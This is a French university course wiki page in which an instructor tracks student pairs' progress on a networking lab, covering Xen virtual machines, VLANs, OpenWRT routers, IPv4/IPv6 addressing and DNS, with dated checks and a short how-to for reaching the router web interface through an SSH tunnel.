| Haitam Blgrim &amp;amp; Black Baptiste || BlancheNeige&lt;br /&gt;
| IPv4 sur CV : 193.48.57.187 10.0.69.182, IPv4 sur SE5 : 193.48.57.187, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feba:38f4, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, &amp;lt;code&amp;gt;bind9&amp;lt;/code&amp;gt; installé sans plus.&lt;br /&gt;
|-&lt;br /&gt;
| Jeanne Delcourt &amp;amp; Estelle Godard || cruella&lt;br /&gt;
| IPv4 sur CV : 193.48.57.186 192.168.19.1, IPv4 sur SE5 : 193.48.57.186, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee5:ff99, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS secondaire configuré.&lt;br /&gt;
|-&lt;br /&gt;
| Jason DELANNOY &amp;amp; Albin MOUTON || Jafar&lt;br /&gt;
| IPv4 sur CV : 193.48.57.183 10.0.69.1, IPv4 sur SE5 : 193.48.57.183, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe3e:f0bb, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, &amp;lt;code&amp;gt;bind9&amp;lt;/code&amp;gt; installé sans plus.&lt;br /&gt;
|-&lt;br /&gt;
| Chloé Lemaire &amp;amp; Gabriel THOMAS || bouh&lt;br /&gt;
| IPv4 sur CV : 193.48.57.180 192.168.18.1, IPv4 sur SE5 : 193.48.57.180, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe4f:dde2, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS secondaire configuré.&lt;br /&gt;
|-&lt;br /&gt;
| Konstantin Patrikeev &amp;amp; Julien Charleux || judy&lt;br /&gt;
| IPv4 sur CV : 193.48.57.182, IPv4 sur SE5 : 193.48.57.182, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7d:4762, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Paul Amoros &amp;amp; Maël Delaby || mickey&lt;br /&gt;
| IPv4 sur CV : 193.48.57.188 10.10.10.2 10.10.10.1, IPv4 sur SE5 : 193.48.57.188, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe34:13d5, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS secondaire configuré mais le répertoire pour les zones secondaires n'existe pas, l'écriture échoue.&lt;br /&gt;
|-&lt;br /&gt;
| François NAUDOT &amp;amp; Karl HABRE || Ursula&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe33:7f89, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes en ASR ==&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque groupe.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| g1 || Konstantin Patrikeev &amp;amp; Julien Charleux &lt;br /&gt;
|-&lt;br /&gt;
| g2 || Chloé Lemaire &amp;amp; Gabriel Thomas&lt;br /&gt;
|-&lt;br /&gt;
| g3 || Timothé Brenier &amp;amp; Benjamin Nguyen&lt;br /&gt;
|-&lt;br /&gt;
| g4 || François Naudot &amp;amp; Dann Rodenburg &lt;br /&gt;
|-&lt;br /&gt;
| g5 || Maël Delaby &amp;amp; Paul Amoros &lt;br /&gt;
|-&lt;br /&gt;
| g6 || Haitam Blgrim &amp;amp; Baptiste Black &lt;br /&gt;
|-&lt;br /&gt;
| g7 || Jason Delannoy &amp;amp; Albin Mouton &lt;br /&gt;
|-&lt;br /&gt;
| g8 || Elias Simon &amp;amp; Mathis Riffaut &lt;br /&gt;
|-&lt;br /&gt;
| g10 || Estelle Godard &amp;amp; Jeanne Delcourt&lt;br /&gt;
|-&lt;br /&gt;
| g11 || Karl Habre &amp;amp; Amine Sellali &lt;br /&gt;
|-&lt;br /&gt;
| g12 || Mohammed Halaoui &amp;amp; Rémi Farault &lt;br /&gt;
|-&lt;br /&gt;
|g13&lt;br /&gt;
|Maxime Balbastre &amp;amp; Florian Vallée&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Le 05/11/2023, aucun commutateur virtuel correctement configuré, soit une adresse IPv4 sur le commutateur pour aucune raison, soit une configuration &amp;lt;code&amp;gt;static&amp;lt;/code&amp;gt; non adaptée, pas de &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; sur le commutateur virtuel.&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu ==&lt;br /&gt;
&lt;br /&gt;
=== Contrôle au 05/11/2023 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Elèves !! Migration !! Archi. penfret !! Archi. antifer&lt;br /&gt;
|-&lt;br /&gt;
| g1 || Konstantin Patrikeev &amp;amp; Julien Charleux || || jcharleu, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || kpatrikee, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur mauvais disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g2 || Chloé Lemaire &amp;amp; Gabriel Thomas || || gthomas, CV conf. erronée, MV mdp erroné, interf. vlan50 || clemair1, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur lancé, une seule interface réseau, pas de config. réseau&lt;br /&gt;
|-&lt;br /&gt;
| g3 || Timothé Brenier &amp;amp; Benjamin Nguyen || || bnguyen1, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || tbrenier, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur mauvais disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g4 || François Naudot &amp;amp; Dann Rodenburg || || drodenbu, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || fnaudot, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur mauvais disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g5 || Maël Delaby &amp;amp; Paul Amoros || || pas de CV, pas de MV || mdelaby, CV conf. erronée, pygrub dans la MV ? pas de routeur, faut lui créer son propre &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g6 || Haitam Blgrim &amp;amp; Baptiste Black || || hblgrim, CV conf. erronée, MV avec 2 interfaces, pas de MAC sur la 1ère, config. IPv4 OK || bblack, CV commenté, pas de MV (plus exactement une machine visible via &amp;lt;code&amp;gt;xen list&amp;lt;/code&amp;gt; mais pas de &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/xen&amp;lt;/code&amp;gt;), pas de routeur OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| g7 || Jason Delannoy &amp;amp; Albin Mouton || || jdelanno, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || amouton, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur lancé, une seule interface réseau&lt;br /&gt;
|-&lt;br /&gt;
| g8 || Elias Simon &amp;amp; Mathis Riffaut || || mriffaut, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || esimon, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, pas de routeur&lt;br /&gt;
|-&lt;br /&gt;
| g10 || Estelle Godard &amp;amp; Jeanne Delcourt || || jdelcour, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || egodard, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur lancé, deux interfaces réseau, changez l'ordre des interfaces dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g11 || Karl Habre &amp;amp; Amine Sellali || || khabre, CV conf. erronée, MV non créée, MV interf. vlan50, pas de config. IPv4 || asellali, CV conf. erronée, MV interf. vlan50, pas de config. IPv4, routeur avec une définition de disque aberrante dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g12 || Mohammed Halaoui &amp;amp; Rémi Farault || || rfarault, CV conf. erronée, MV interf. vlan50, pas de config. IPv4 || pas de CV, MV interf. vlan50, pas de config. IPv4, pas de routeur&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle au 20/11/2023 ===&lt;br /&gt;
&lt;br /&gt;
A noter qu'un sacré coup de pouce aura été nécessaire pour configurer le routeur de promotion, avec un seul élève en appui.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Elèves !! Migration !! Archi. penfret !! Archi. antifer&lt;br /&gt;
|-&lt;br /&gt;
| g1 || Konstantin Patrikeev &amp;amp; Julien Charleux || || jcharleu, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || kpatrikee, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g2 || Chloé Lemaire &amp;amp; Gabriel Thomas || || gthomas, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || clemair1, CV configuré, VLAN configuré, MV lancée et totalement configurée en IPv4, routeur lancé et correctement configuré&lt;br /&gt;
|-&lt;br /&gt;
| g3 || Timothé Brenier &amp;amp; Benjamin Nguyen || || bnguyen1, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || tbrenier, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;, deux interfaces cependant&lt;br /&gt;
|-&lt;br /&gt;
| g4 || François Naudot &amp;amp; Dann Rodenburg || || drodenbu, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || fnaudot, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;, deux interfaces cependant&lt;br /&gt;
|-&lt;br /&gt;
| g5 || Maël Delaby &amp;amp; Paul Amoros || || toujours pas de CV, pas de VLAN, toujours pas de MV || mdelaby, CV configuration toujours erronée, pas de VLAN, toujours le bootloader &amp;lt;code&amp;gt;pygrub&amp;lt;/code&amp;gt; dans la MV (commenté), MV avec une seule interface réseau (dans le CV), configuration DHCP OK pour l'interface (dans le CV), toujours pas de routeur : il faut lui créer son propre &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g6 || Haitam Blgrim &amp;amp; Baptiste Black || || hblgrim, CV conf. toujours erronée, pas de VLAN, MV ne démarre pas à cause de l'erreur sur le CV (correction ReX sur le CV), MV avec 2 interfaces, pas de MAC sur la première interface dans le .cfg, configuration IPv4 OK dans la MV || bblack, CV configuration toujours erronée, pas de VLAN, toujours pas e &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; pour la MV, un routeur OpenWRT avec la bonne définition de disque, deux interface mais sans @MAC, aucune configuration du routeur&lt;br /&gt;
|-&lt;br /&gt;
| g7 || Jason Delannoy &amp;amp; Albin Mouton || || jdelanno, CV conf. toujours, erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte || amouton, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur lancé, une seule interface réseau, pas de configuration du routeur&lt;br /&gt;
|-&lt;br /&gt;
| g8 || Elias Simon &amp;amp; Mathis Riffaut || || mriffaut, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || esimon, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, toujours pas de routeur&lt;br /&gt;
|-&lt;br /&gt;
| g10 || Estelle Godard &amp;amp; Jeanne Delcourt || || jdelcour, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || egodard, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur lancé, deux interfaces réseau, pas de configuration du routeur&lt;br /&gt;
|-&lt;br /&gt;
| g11 || Karl Habre &amp;amp; Amine Sellali || || khabre, CV conf. toujours erronée, pas de VLAN, MV enfin créée avec une seule interface, pas de configuration IPv4 correcte || asellali, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur avec une définition de disque aberrante dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;, une seule interface, pas de configuration du routeur&lt;br /&gt;
|-&lt;br /&gt;
| g12 || Mohammed Halaoui &amp;amp; Rémi Farault || || rfarault, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte || pas de CV, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, toujours pas de routeur&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle au 30/11/2023 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Elèves !! Archi. penfret !! Archi. antifer&lt;br /&gt;
|-&lt;br /&gt;
| g1 || Konstantin Patrikeev &amp;amp; Julien Charleux || jcharleu, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte. || kpatrikee, CV et VLAN configurés mais dites moi comment vous trouvez 1 avec la formule &amp;lt;code&amp;gt;6+N%4&amp;lt;/code&amp;gt;, MV avec les bonnes interfaces, inversion dans la configuration IPv4 entre &amp;lt;code&amp;gt;enX0&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;enX1&amp;lt;/code&amp;gt;, pour le routeur toujours une mauvaise définition de disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; par contre les deux interfaces demandées sont présentes.&lt;br /&gt;
|-&lt;br /&gt;
| g2 || Chloé Lemaire &amp;amp; Gabriel Thomas || gthomas, CV configuré, VLAN configuré, MV lancée et totalement configurée en IPv4. || clemair1, CV configuré, VLAN configuré, MV lancée et totalement configurée en IPv4, routeur lancé et correctement configuré.&lt;br /&gt;
|-&lt;br /&gt;
| g3 || Timothé Brenier &amp;amp; Benjamin Nguyen || bnguyen1, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte. || tbrenier, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;, deux interfaces cependant.&lt;br /&gt;
|-&lt;br /&gt;
| g4 || François Naudot &amp;amp; Dann Rodenburg || drodenbu, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte. || fnaudot, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, pour le routeur toujours une mauvaise définition de disque dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;, deux interfaces cependant.&lt;br /&gt;
|-&lt;br /&gt;
| g5 || Maël Delaby &amp;amp; Paul Amoros || toujours pas de CV, pas de VLAN, toujours pas de MV. || mdelaby, CV configuration toujours erronée, pas de VLAN, toujours le bootloader &amp;lt;code&amp;gt;pygrub&amp;lt;/code&amp;gt; dans la MV (commenté), MV avec un chemin des disques étranges, MV avec une seule interface réseau (dans le CV), configuration DHCP OK pour l'interface (dans le CV), toujours pas de routeur : il faut lui créer son propre &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| g6 || Haitam Blgrim &amp;amp; Baptiste Black || hblgrim, il manque les directives pour démarrer et arrêter les interfaces mais sinon CV et VLAN configurés, MV lancé et configurée, il ne faut pas de &amp;lt;code&amp;gt;gateway&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;enX1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;enX0&amp;lt;/code&amp;gt; ne trouve pas son adresse par DHCP à cause du commutateur virtuel non activé. || bblack, CV et VLAN configurés mais pas toutes les directives de démarrage et d'arrêt, toujours pas de &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; pour la MV, un routeur OpenWRT avec la bonne définition de disque, deux interface mais sans @MAC, aucune configuration du routeur.&lt;br /&gt;
|-&lt;br /&gt;
| g7 || Jason Delannoy &amp;amp; Albin Mouton || jdelanno, CV conf. toujours, erronée, pas de VLAN, MV avec une seule interface (vlan50), toujours pas de configuration IPv4 correcte; || amouton, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur lancé, une seule interface réseau, pas de configuration du routeur.&lt;br /&gt;
|-&lt;br /&gt;
| g8 || Elias Simon &amp;amp; Mathis Riffaut || mriffaut, CV conf. toujours erronée, pas de VLAN, MV avec une seule interface (vlan50), pas de configuration IPv4 correcte. || esimon, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, toujours pas de routeur.&lt;br /&gt;
|-&lt;br /&gt;
| g10 || Estelle Godard &amp;amp; Jeanne Delcourt || jdelcour, CV configuré, VLAN configuré (par contre l'utilisation de &amp;lt;code&amp;gt;ether4&amp;lt;/code&amp;gt; est impossible), MV lancée et correctement configurée en IPv4, &amp;lt;code&amp;gt;enX0&amp;lt;/code&amp;gt; ne trouve pas son @IPv4 à cause de l'erreur sur le VLAN. || egodard, CV configuré, VLAN configuré (par contre l'utilisation de &amp;lt;code&amp;gt;ether4&amp;lt;/code&amp;gt; est impossible), MV avec deux interfaces, correctement configurée en IPv4, pas d'adresse obtenue par DHCP, problème de l'OpenWRT, routeur OpenWRT avec les bonnes interfaces, l'adresse IPv4 sur SE5 est donnée avec un mauvais masque, linterface &amp;lt;code&amp;gt;enX0&amp;lt;/code&amp;gt; reçoit bien son adresse IPv4 par DHCP.&lt;br /&gt;
|-&lt;br /&gt;
| g11 || Karl Habre &amp;amp; Amine Sellali || khabre, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface, pas de configuration IPv4 correcte || asellali, CV configuration toujours erronée, pas de VLAN, MV avec une seule interface réseau (dans le vlan50), pas de configuration IPv4 correcte, routeur avec une définition de disque aberrante dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;, une seule interface, pas de configuration du routeur&lt;br /&gt;
|-&lt;br /&gt;
| g12 || Mohammed Halaoui &amp;amp; Rémi Farault || rfarault, CV configuré, VLAN configuré mais configuration commentée (pourquoi donc ?!), MV lancée et correctement configurée en IPv4, &amp;lt;code&amp;gt;enX0&amp;lt;/code&amp;gt; ne trouve pas son @IPv4 à cause de l'absence d'interface VLAN. || CV configuré, VLAN configuré, MV avec deux interfaces, correctement configurée en IPv4, un routeur avec les deux interfaces demandées, pas d'adresse IPv4 sur SE5, serveur DHCP fonctionnel.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle au 02/12/2023 ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Elèves !! MV &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; !! MV &amp;lt;code&amp;gt;antifer&amp;lt;/code&amp;gt; !! Routeur OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| g1 || Konstantin Patrikeev &amp;amp; Julien Charleux&lt;br /&gt;
| IPv4 sur CV : 10.0.69.185, IPv4 sur VLAN50 : 172.126.145.103, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe00:a98d, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.218, IPv4 sur VLAN50 : 172.26.145.102, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| pas d'IPv4 routée sur Internet, une IPv6 routée sur Internet, pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| g2 || Chloé Lemaire &amp;amp; Gabriel Thomas&lt;br /&gt;
| IPv4 sur CV : 10.0.69.212, IPv4 sur VLAN50 : 172.26.145.105, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fedb:2ac4, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.145, IPv4 sur VLAN50 : 172.26.145.104, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe31:b916, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.180, une IPv6 routée sur Internet, connexion à Internet en IPv4 possible&lt;br /&gt;
|-&lt;br /&gt;
| g3 || Timothé Brenier &amp;amp; Benjamin Nguyen &lt;br /&gt;
| MV non contactable sur le VLAN 50 en IPv6&lt;br /&gt;
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.106, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feaa:f292, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| routeur openWRT non fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| g4 || François Naudot &amp;amp; Dann Rodenburg &lt;br /&gt;
| MV non contactable sur le VLAN 50 en IPv6&lt;br /&gt;
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.108, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fec6:168, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| routeur openWRT non fonctionnel (si ? non, inversion des &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| g5 || Maël Delaby &amp;amp; Paul Amoros&lt;br /&gt;
| MV non contactable sur le VLAN 50 en IPv6&lt;br /&gt;
| image disque du fichier de configuration non présente sur &amp;lt;code&amp;gt;antifer&amp;lt;/code&amp;gt;&lt;br /&gt;
| routeur openWRT non fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| g6 || Haitam Blgrim &amp;amp; Baptiste Black &lt;br /&gt;
| MV non contactable sur le VLAN 50 en IPv6&lt;br /&gt;
| pas de fichier de configuration&lt;br /&gt;
| routeur openWRT non fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| g7 || Jason Delannoy &amp;amp; Albin Mouton&lt;br /&gt;
| MV non contactable sur le VLAN 50 en IPv6&lt;br /&gt;
| machine non contactable en IPv6 sur le bridgeStudents&lt;br /&gt;
| pas d'adresse MAC dans le fichier de configuration&lt;br /&gt;
|-&lt;br /&gt;
| g8 || Elias Simon &amp;amp; Mathis Riffaut&lt;br /&gt;
| MV non contactable sur le VLAN 50 en IPv6&lt;br /&gt;
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.116, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe01:754c, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| routeur openWRT non fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| g10 || Estelle Godard &amp;amp; Jeanne Delcourt&lt;br /&gt;
| IPv4 sur CV : 10.0.69.165, IPv4 sur VLAN50 : 172.26.145.121, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7e:35e1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.132, IPv4 sur VLAN50 : 172.26.145.120, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feb4:5ea3, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.191, une IPv6 routée sur Internet, pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| g11 || Karl Habre &amp;amp; Amine Sellali&lt;br /&gt;
| MV non contactable sur le VLAN 50 en IPv6&lt;br /&gt;
| machine non contactable en IPv6 sur le bridgeStudents&lt;br /&gt;
| pas d'adresse MAC dans le fichier de configuration, création du routeur impossible&lt;br /&gt;
|-&lt;br /&gt;
| g12 || Mohammed Halaoui &amp;amp; Rémi Farault&lt;br /&gt;
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.125, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe54:5aee, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.124, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| pas d'IPv4 routée sur Internet, pas d'IPv6 routée sur Internet, pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle au 05/12/2023 ===&lt;br /&gt;
&lt;br /&gt;
Pour utiliser l'interface Web LuCi des openWRT à partir d'une zabeth :&lt;br /&gt;
* vérifiez que vous avez bien une IPv6 routée sur IPv6 (avec &amp;lt;code&amp;gt;ip address show dev eth0&amp;lt;/code&amp;gt;, l'adresse commence par &amp;lt;code&amp;gt;2001:660:4401:60b0:&amp;lt;/code&amp;gt;) ;&lt;br /&gt;
* si vous n'en avez pas, prenez le suffixe (les derniers 8 octets de l'adresse locale, celle qui commence par &amp;lt;code&amp;gt;fe80::&amp;lt;/code&amp;gt;) et créez votre adresse IPv6 routée par la commande :&lt;br /&gt;
  ip address add dev eth0 2001:660:4401:60b0:&amp;lt;suffixe&amp;gt;/64&lt;br /&gt;
bien entendu vous n'aurez oublié de rajouter la route IPv6 par défaut vers le routeur de la promotion :&lt;br /&gt;
  ip -6 route add default via 2001:660:4401:60b0:6a9e:bff:fe46:5a76&lt;br /&gt;
* établissez un tunnel &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; avec la commande :&lt;br /&gt;
 zabethXX# ssh -L 6443:localhost:6443 root@IPv6&lt;br /&gt;
* connectez vous sur LuCi avec le navigateur de la zabeth pointant sur &amp;lt;code&amp;gt;https://localhost:6443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Attention l'ordre des interfaces &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; a une importance.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Elèves !! MV &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; !! MV &amp;lt;code&amp;gt;antifer&amp;lt;/code&amp;gt; !! Routeur OpenWRT&lt;br /&gt;
|-&lt;br /&gt;
| g1 || Konstantin Patrikeev &amp;amp; Julien Charleux&lt;br /&gt;
| IPv4 sur CV : 10.0.69.185, IPv4 sur VLAN50 : 172.126.145.103, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe00:a98d, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.218, IPv4 sur VLAN50 : 172.26.145.102, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| pas d'IPv4 routée sur Internet (puis &amp;lt;code&amp;gt;193.48.57.191&amp;lt;/code&amp;gt; donc une erreur), pas d'IPv6 routée sur Internet, pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| g2 || Chloé Lemaire &amp;amp; Gabriel Thomas&lt;br /&gt;
| IPv4 sur CV : 10.0.69.212, IPv4 sur VLAN50 : 172.26.145.105, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fedb:2ac4, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.145, IPv4 sur VLAN50 : 172.26.145.104, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe31:b916, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.180, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe31:b916, connexion à Internet en IPv4 possible&lt;br /&gt;
|-&lt;br /&gt;
